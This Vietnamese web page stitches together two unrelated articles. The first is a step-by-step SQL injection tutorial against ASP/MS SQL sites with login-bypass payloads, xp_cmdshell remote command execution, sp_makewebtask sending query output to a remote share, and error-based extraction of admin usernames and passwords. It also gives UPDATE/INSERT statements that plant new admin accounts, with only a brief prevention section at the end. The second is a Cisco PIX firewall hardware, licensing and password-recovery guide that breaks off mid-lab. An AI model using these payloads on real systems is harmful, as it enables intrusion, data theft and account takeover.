Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

1. SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...


2. Tìm kiếm mục tiêu
Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.







3. Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp.
Ví dụ:


Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?
Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a


5. Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--


Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.


6. Nhận output của SQL query
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder "share" phải được share cho Everyone trước.


7. Nhận dữ liệu qua 'database using ODBC error message'
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".


8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:


http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5


9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table "admin_login" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5


Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".


10. Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của "neo", có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

input do người dùng đệ trình
các tham số từ URL
các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
PIX Firewall

PIX Firewall

PIX ( Private Internet Exchange) firewall là thành phần chính trong giải pháp
bảo mật end-to-end của Cisco . PIX firewall là giải pháp bảo mật về phần
cứng và phần mềm , đáp ứng bảo mật mạng mức độ cao mà không ảnh hưởng
đến hoạt động của mạng . Pix là một thiết bị hybrid vì nó kết hợp các đặc điểm
của công nghệ packet filtering và proxy server .



1. PIX hardware :



Pix có nhiều model khác nhau , thích hợp với nhiều môi trường mạng khác nhau ,
ví dụ như mạng SOHO thì khác với mạng của service provider .

PIX có các loại models sau : 501 , 506 , 506E , 515 , 515E , 520 , 525E , và 535 .
Theo hình sau :

Hình 1 : PIX firewall family

Đặc điểm của từng loại thiết bị PIX :

a. PIX 501 :

501 là model cơ bản của PIX và có cấu hình cố định . Nó có một switch 4
port cho kết nối bên trong và một interface 10Mbps cho kết nối đến thiết
bị bên ngoài (như cable modem hay router DSL ) . Pix 501 dành 3Mbps cho
kết nối 3DES Ipsec ( vượt quá cả yêu cầu của user trong mạng SOHO ) .

Đặc điểm của PIX 501 là :

- bộ xử lí 133MHz AMD SC520
- RAM 16MB , flash 8MB
- 1 port console

- 1 port half-duplex RJ45 10BaseT cho outside
- 1 switch tích hợp , autosensing , auto-MDIX 4 port RJ45 10/100 cho inside

b. Pix 506

http://chuyenviet.com/html/articles/pix1_files/image003.png

Pix 506 là thiết bị được thiết kế cho các công ty thuộc remote office/ branch
office . Là thiết bị có :

- Một port console
- Hai port RJ45 10BaseT autonegotiate , một cho inside , một cho outside
- Hardware : 200MHz Intel Pentium MMX , trong đó RAM là 32Mbps , flash là 8Mbps
- Sử dụng TFTP cho download image và upgrade image .
- Pix 506 cung cấp VPN , có thể kết nối đến 4 VPN peer đồng thời .

PIX 506E là thiết bị được cải tiến từ PIX 506 , có CPU là 300MHz Intel
Celeron . Clear-text throughput lên đến 20Mbps , 3DES throughput tăng lên
16Mbps .

c. PIX 515

http://chuyenviet.com/html/articles/pix1_files/image005.png

PIX 515 thường được dùng trong các doanh nghiệp nhỏ , trung bình .

Pix có một slot để có thể gắn thêm một single-port , hoặc là four-port Fast
Ethernet interface , cho phép inside , outside và có thể cung cấp thêm 4 mạng
dịch vụ khác .
Pix 515 có RAM 32MB , Flash 8MB , licensing linh động do đó các doanh
nghiệp có thể trả tiền những cái họ cần . Restricted license giới hạn 3 interface ,
nhưng unrestricted license cho phép tăng bộ nhớ RAM từ 32MB đến 64MB
và tăng đến 6 interface cộng với failover .

d. PIX 520

http://chuyenviet.com/html/articles/pix1_files/image007.png

PIX 520 được thiết kế dành cho các doanh nghiệp lớn và môi trường tốc
độ cao , phức tạp . Mặc dù các sản phẩm mới hơn có Flash đến 16MB
nhưng đối với PIX 520 đời cũ Flash chỉ có 2MB . Để chạy những software
có version từ 5.2 trở lên thì Flash cần phải được nâng cấp lên 16MB .
PIX 520 có kiểu thiết kế khung , là rack-mountable , sử dụng đĩa mềm
3.5inch để load và nâng cấp image .


e. PIX 525

http://chuyenviet.com/html/articles/pix1_files/image009.png

PIX 525 được thiết kế dành cho các Enterprise và Service Provider sử dụng ,
đáp ứng môi trường bảo mật lí tưởng . PIX 525 cung cấp một dãy nhiều
network interface card . Standard card bao gồm single-port hay four-port
10/100 Fast Ethernet , Gigabit Ethernet (với UR license) , 4/16 Token Ring
và dual-attached multimode FDDI card . Với restricted license , Pix 525 cung
cấp 6 interface . Với unrestricted license (UR) Pix 525 cung cấp đến 8 interface .

f. PIX 535

http://chuyenviet.com/html/articles/pix1_files/image011.png

PIX 535 được thiết kế cho các Enterprise và Service Provider sử dụng .
Nó có công suất 1.0Gpbs với khả năng thực hiện cùng một lúc 500,000
kết nối . Đáp ứng cả site-to-site và remote access VPN với 56-bit DES
và 168-bit 3DES , chức năng tích hợp của PIX firewall 535 có thể thực hiện
với VPN Accelerator card để phân phối 10Mbps throughput và 2000 IPSEC
tunnel .

PIX firewall 535 cung cấp Fast Ethernet , Gigabit Ethernet và VPN Accelerator
interface . Flash là 16MB và sử dụng software có version từ 5.3 trở về sau .


2. Console port :

Cơ chế chính để giao tiếp với PIX là thông qua console port . Một vài thiết bị
sử dụng DB9 connector , một vài thiết bị mới hơn sử dụng Cisco standard RJ45
connector . Nếu ta đang sử dụng Windows , thì dùng chương trình Hyperterm
để giao tiếp với PIX . Giao diện phải tuân theo hình vẽ sau :

http://chuyenviet.com/html/articles/pix1_files/image013.png

Và các tham số phải được thiết lập như sau :


http://chuyenviet.com/html/articles/pix1_files/image015.png

Lúc này kết nối đến PIX đã thành công . Nếu cấp nguồn thì lúc này PIX sẽ
diễn ra quá trình boot .


Đây là một đoạn ví dụ của quá trình boot :



Reading 1921536 bytes of image from flash.########################
################################################## #######
#########################

32MB RAM

mcwa i82559 Ethernet at irq 11 MAC: 000f.23ac.53f7

mcwa i82559 Ethernet at irq 10 MAC: 000f.23ac.53f6

System Flash=E28F640J3 @ 0xfff00000

BIOS Flash=am29f400b @ 0xd8000



-----------------------------------------------------------------------







..::..::..

c i s c o S y s t e m s

Private Internet eXchange

-----------------------------------------------------------------------

Cisco PIX Firewall



Cisco PIX Firewall Version 6.3(1)

Licensed Features:

Failover: Disabled

VPN-DES: Enabled

VPN-3DES-AES: Enabled

Maximum Interfaces: 2

Cut-through Proxy: Enabled

Guards: Enabled

URL-filtering: Enabled

Inside Hosts: Unlimited

Throughput: Unlimited

IKE peers: Unlimited



This PIX has a Restricted (R) license.

……

Cryptochecksum(changed): d41d8cd9 8f00b204 e9800998 ecf8427e



Cannot select private key



Pre-configure PIX Firewall now through interactive prompts [yes]? n

=> sử dụng n để vào tiến vào CLI .



3. Software Licensing :

Để có được một sản phẩm linh động , PIX sử dụng software licensing để
enable hay disable các đặc điểm trong PIX OS . Mặc dù hardware có thể
giống nhau về platform giữa các thiết bị , nhưng sử dụng software nào cho
PIX còn phụ thuộc vào RAM và Flash của PIX đó . Ví dụ như OS yêu
cầu cho PIX model 506 là từ 5.1x trở lên , cho PIX model 525 là từ 5.2x
trở lên … Các đặc điểm của software khác nhau còn phụ thuộc vào
activation key .

Activation key là license key của PIX OS , cho phép ta upgrade các đặc
điểm mới của OS mà không cần phải có software mới , mặc dù quá trình
thực hiện là tương tự nhau . Activation key là do cisco đưa ra và tính toán ,
phụ thuộc vào số serial mà ta có và phụ thuộc vào ta yêu cầu những gì .
Số serial đó có được là dựa vào Flash . Do đó nếu ta sử dụng Flash khác ,
ta phải thay đổi activation key . Khi ta muốn kích hoạt một chức năng nào
đó trong PIX , ta phải trả tiền để thực hiện điều này , để có key ta phải gửi
serial number của PIX đến Cisco , Cisco sẽ gửi lại cho ta key được tạo ra từ
serial number đó .



Có 3 lí do quan trọng để upgrade hay thay đổi activation key là :



- Cisco PIX firewall không kích hoạt failover

- Pix không kích hoạt VPN

- Khi ta cần nâng cấp từ connection-based license lên feature-based license .



Để có được thông tin về activation key , serial number , sử dụng show version
command . Câu lệnh này cung cấp thông tin về code version , thông tin về phần cứng …



pixfirewall(config)# sh version

Cisco PIX Firewall Version 6.3(1)

Cisco PIX Device Manager Version 3.0(1)

Compiled on Wed 19-Mar-03 11:49 by morlee

pix up 27 mins 25 secs

Hardware: PIX-506E, 32 MB RAM, CPU Pentium II 300 MHz

Flash E28F640J3 @ 0x300, 8MB

BIOS Flash AM29F400B @ 0xfffd8000, 32KB

0: ethernet0: address is 000f.23ac.53f6, irq 10

1: ethernet1: address is 000f.23ac.53f7, irq 11

Licensed Features:

Failover: Disabled

VPN-DES: Enabled

VPN-3DES-AES: Enabled

Maximum Interfaces: 2

Cut-through Proxy: Enabled

Guards: Enabled

URL-filtering: Enabled

Inside Hosts: Unlimited

Throughput: Unlimited

IKE peers: Unlimited

This PIX has a Restricted (R) license.

Serial Number: 808036792 (0x3029a9b8)

Running Activation Key: 0x9a5c6f78 0x67304d0a 0xed4c2329 0x89dd199b

Configuration last modified by enable_15 at 23:52:55.403 UTC Sun Mar 6 2005



Licensing :

Về tổng quan , licensing được phân thành 3 loại đó là unrestricted , restricted ,
và failover . Việc dùng unrestricted hay restricted license là phụ thuộc vào số
interface mà ta cần sử dụng ở PIX . Ví dụ đối với PIX 515 với unrestricted
license cung cấp đến 6 interface . Quan sát lại những thông tin khi
show version ở phía trên , ta thấy license là restricted cho phép tối đa cho
pix là 2 interface ( inside và outside ) , đối với PIX 515 thì restricted cho phép
tối đa là 3 interface ( thêm một interface dmz nữa ) . Do đó , muốn có unrestricted
và failover license , ta phải nâng cấp activation key mới .



Đối với các PIX OS có version trước version 6.2 , activation key được thay
đổi trong mode monitor . Từ version 6.2 trở về sau cho phép ta nâng cấp hay
thay đổi license bằng cách thay đổi key ở CLI ( command line interface ) .
Thực hiện điều này bằng câu lệnh sau :

activation-key license#

license# : là key mà ta có được với license mới .



ví dụ : activation-key 0x9a5c6f78 0x67304d0a 0xed4c2329 0x89dd199b



Sau khi thay đổi activation key , ta phải reboot PIX firewall để kích hoạt
license mới. Nếu PIX được nâng cấp đến một version mới hơn và thay đổi
activation key , ta phải reboot PIX 2 lần -1 lần sau khi cài đặt image mới ,
một lần sau khi activation key mới được cấu hình . Lưu ý là khi nâng cấp lên
version mới hơn , những chức năng đã được kích hoạt từ version cũ thì không
cần key .



Nếu ta thay đổi image của PIX với version cũ hơn , phải đảm bảo rằng
activation key đang chạy trong hệ thống không tác động đến các version cao
hơn trước khi cài đặt version thấp hơn . Nếu có thì ta cần phải thay đôỉ activation
key đó cho thích hợp với version thấp hơn trước khi cài đặt và reboot . Nếu không
hệ thống có thể không cho phép ta reload lại sau khi đã cài đặt software mới .



4. Password recovery :

Để vào chế độ enable trong PIX , cần phải biết password . Password được lưu
trong PIX sử dụng mã hóa MD5 , không phải ở dạng clear-text . Trong trường
hợp quên hoặc mất password console hoặc telnet vào PIX , giống như hầu hết
các sản phẩm của Cisco , PIX cũng cung cấp các thủ tục để khôi phục
password . Không giống như Cisco router là khôi phục password bằng cách
thay đổi thanh ghi cấu hình , PIX sử dụng một phương pháp khác . Khôi
phục password có thể được thực hiện trên PIX firewall bằng cách sử dụng
một file khôi phục password đặc biệt . Thực hiện khôi phục password
a trên PIX không có xóa cấu hình , chỉ có xóa password . Phụ thuộc vào
các dòng sản phẩm của PIX mà ta có các phương pháp khôi phục
password khác nhau . Thủ tục khôi phục pasword trong PIX bằng
đĩa mềm khác với khôi phục password ở các thiết bị PIX không có đĩa .
Sự khác nhau ở đây là PIX sẽ boot như thế nào với file mà ta sử dụng
trong quá trình đó . Đối với PIX có đĩa mềm sẽ boot từ đĩa , còn những
PIX không có đĩa (diskless) sẽ boot từ TFTP server .



Bên cạnh binary file cần cho khôi phục password , ta còn cần các thành phần sau :

- Laptop hoặc là PC

- Terminal-emulating software

- TFTP software (cần cho các pix boot từ tftp)

- Công cụ rawrite.exe (cần cho các pix có đĩa mềm để tạo đĩa boot)



a. Khôi phục password cho các PIX 506 , 515 , 525 , 535 bằng TFTP

Khôi phục password cho các model này (các model không có đĩa mềm)
cần phải có TFTP server . Quá trình khôi phục như sau :



Bước 1 : download file npxx.bin với xx là version OS đang chạy trong
PIX . Ví dụ PIX đang chạy version 5.3(1) (biết được bằng cách show
version) thì file cần down là np53.bin



?Note : file np53.bin làm việc với tất cả các PIX OS 5.3(x) .



Bước 2 : chép file đó vào máy có cài TFTP server

Bước 3 : reboot PIX firewall , sau khoảng 10giây trong quá trình reboot .
Nhấn nút Escape hoặc Ctrl – Break để ngắt quá trình reboot , đưa Pix
vào chế độ monitor

monitor>

Bước 4 : chỉ ra interface của PIX firewall dùng cho TFTP . Để sử dụng
interface inside , dùng câu lệnh sau :

monitor > interface 1

Bước 5 : chỉ ra địa chỉ của interface PIX firewall

monitor> address ip_address

Bước 6 : chỉ ra default gateway (điều này chỉ cần thiết trong trường hợp
có mô hình là pix-router-TFTP server )

monitor> gateway ip_address

Bước 7 : chỉ ra địa chỉ của TFTP server

monitor>server ip_address_server

Bước 8 : kiểm tra kết nối đển TFTP server bằng cách ping đến TFTP server

monitor> ping ip_address_server

Bước 9 : chỉ ra filename của file dùng để khôi phuc password mà ta đã
download trước đó

monitor> file npxx.bin

Bước 10 : khởi động chương trình TFTP .

monitor> tftp



b. khôi phục password cho các pix 510 , 520 bằng đĩa mềm :



Bước 1 : Download file npxx.bin (với xx là version của OS đang chạy
trong PIX ) .

Bước 2 : Chép file rawrite.exe vào cùng đường dẫn với OS version
password mà ta đã download trước đó .

Bước 3 : Sau khi đã có được 2 file này , mở MS-DOS Window :

C :\> rawrite

Bước 4 : Reboot PIX firewall với đĩa mềm mà ta vừa tạo ra . Khi có
dấu nhắc xuất hiện , sử dụng y để xóa password :



Do you wish to erase the passwords? [yn] y



Hệ thống sẽ tự động xóa password và bắt đầu reboot .



5. Nâng cấp Cisco PIX OS :

Có 3 thủ tục để nâng cấp PIX OS , và việc sử dụng thủ tục nào là do
PIX OS đang chạy trong PIX và PIX model quyết định .

- Có thể sử dụng copy tftp flash command ( đối với các PIX sử
dụng software version 5.1 trở về sau thực hiện command này ở
mode privileged )

- Nâng cấp OS ở monitor mode . Thủ tục này giống như thủ tục
trên nhưng chỉ khác ở mode mà ta sử dụng khi copy file từ tftp
server . Đối với các thiết bị PIX không có đĩa mềm bên trong
(501 ,506 , 515 , 525 , 535 ) sẽ thực hiện nâng cấp image
từ monitor mode . Đối với các PIX sử dụng version 5.0 trở về
trước cần có một đĩa boothelper để tạo ra boothelper mode ,
tương tự như ROM monitor mode

- PIX firewall version 6.2 dùng HTTP client cho phép ta sử dụng
câu lệnh copy để lấy thông tin cấu hình , software image , hay là
Cisco PDM software từ HTTP server .



a. Nâng cấp OS sử dụng copy tftp flash command

Bước 1 : Download file pixnnx.bin ( file binary software image , với
nn là version number , x là release number . Và chép file này vào tftp server

Bước 2 : sử dụng copy tftp flash command

Bước 3 : nhập địa chỉ IP của tftp server

Bước 4 : nhập source filename (file ta vừa download)

Bước 5 : nhập Yes để tiếp tục



b. Nâng cấp OS sử dụng monitor mode

Nếu PIX được nâng cấp từ version 5.0x hoặc trước đó lên version
5.1x trở về sau , cần sử dụng phương pháp boothelper mode hoặc
là monitor mode . Bởi vì các version trước 5.1 , PIX firewall software
không có hỗ trợ copy tftp flash command



Các bước để nâng cấp PIX firewall sử dụng monitor mode :



Bước 1 : download binary software image file pixnnx.bin và chép file
này vào tftp server .



Bước 2 : reload lại PIX , nhấn Esc key (hoặc là nhấn Break) để vào
monitor mode . Đối với PIX firewall chạy version 5.0 trở về trước thì
sử dụng boothelper mode



Bước 3 : sử dụng interface command để chỉ ra PIX interface nào mà
TFTP server kết nối đến . Mặc định là interface 1 (inside)

monitor> interface num



Bước 4 : chỉ ra địa chỉ của interface

monitor> address ip_address



Bước 5 : chỉ ra default gateway (nếu cần)

monitor> gateway ip_address



Bước 6 : chỉ ra địa chỉ tftp server

monitor> server ip_address



Bước 7 : kiểm tra kết nối đến tftp server

monitor>ping server_address



Bước 8 : chỉ ra image filename :

monitor> file name_file



Bước 9 : bắt đầu quá trình tftp

monitor> tftp

Bước 10 : Khi xuất hiện prompt , gõ y để cài đặt image mới đến Flash .



Bước 11 : PIX firewall reboot và bắt đầu install image mới



?Note : Từ monitor hay boothelper mode , pix không sử dụng với
Gigabit Ethernet



6. LAB :



Scenario :

http://chuyenviet.com/html/articles/pix1_files/image017.png

Bài 1 : Upgrade image từ monitor mode



Trong bài này ta sẽ thực hiện nâng cấp image từ monitor mode theo
thứ tự các bứơc đã đưa ra ở phần trước .

Trước khi nâng cấp image , sử dụng show version command để
xem version mà pix đang chạy , xem serial number và activation key .



?Note : Để bảo đảm an toàn , ta sẽ sử dụng lại image mà PIX đang
chạy để thực hiện bài lab này



pixfirewall# sh version

Cisco PIX Firewall Version 6.3(1)

Cisco PIX Device Manager Version 3.0(1)

Compiled on Wed 19-Mar-03 11:49 by morlee

pix up 27 mins 25 secs

Hardware: PIX-506E, 32 MB RAM, CPU Pentium II 300 MHz

Flash E28F640J3 @ 0x300, 8MB

BIOS Flash AM29F400B @ 0xfffd8000, 32KB

0: ethernet0: address is 000f.23ac.53f6, irq 10

1: ethernet1: address is 000f.23ac.53f7, irq 11

Licensed Features:

Failover: Disabled

VPN-DES: Enabled

VPN-3DES-AES: Enabled

Maximum Interfaces: 2

Cut-through Proxy: Enabled

Guards: Enabled

URL-filtering: Enabled

Inside Hosts: Unlimited

Throughput: Unlimited

IKE peers: Unlimited

This PIX has a Restricted (R) license.

Serial Number: 808036792 (0x3029a9b8)

Running Activation Key: 0x9a5c6f78 0x67304d0a 0xed4c2329 0x89dd199b

Configuration last modified by enable_15 at 23:52:55.403 UTC Sun Mar 6 2005



Các bước thực hiện như sau :



pixfirewall>reload



Rebooting….



Cisco Secure PIX Firewall BIOS (4.2) #0: Mon Dec 31 08:34:35 PST 2001

Platform PIX-506E

System Flash=E28F640J3 @ 0xfff00000



Use BREAK or ESC to interrupt flash boot.



Use SPACE to begin flash boot immediately.

Flash boot in 10 seconds.



Flash boot interrupted. ß Nhấn Esc hoặc Break

0: i8255X @ PCI(bus:0 dev:14 irq:10)

1: i8255X @ PCI(bus:0 dev:13 irq:11)



Using 1: i82557 @ PCI(bus:0 dev:13 irq:11), MAC: 000f.23ac.53f7

Use ? for help.

monitor> ?

? this help message

address [addr] set IP address of the PIX interface on which

the TFTP server resides

file [name] set boot file name

gateway [addr] set IP gateway

help this help message

interface [num] select TFTP interface

ping <addr> send ICMP echo

reload halt and reload system

server [addr] set server IP address

tftp TFTP download

timeout TFTP timeout

trace toggle packet tracing

monitor> interface 1

0: i8255X @ PCI(bus:0 dev:14 irq:10)

1: i8255X @ PCI(bus:0 dev:13 irq:11)



Using 1: i82557 @ PCI(bus:0 dev:13 irq:11), MAC: 000f.23ac.53f7

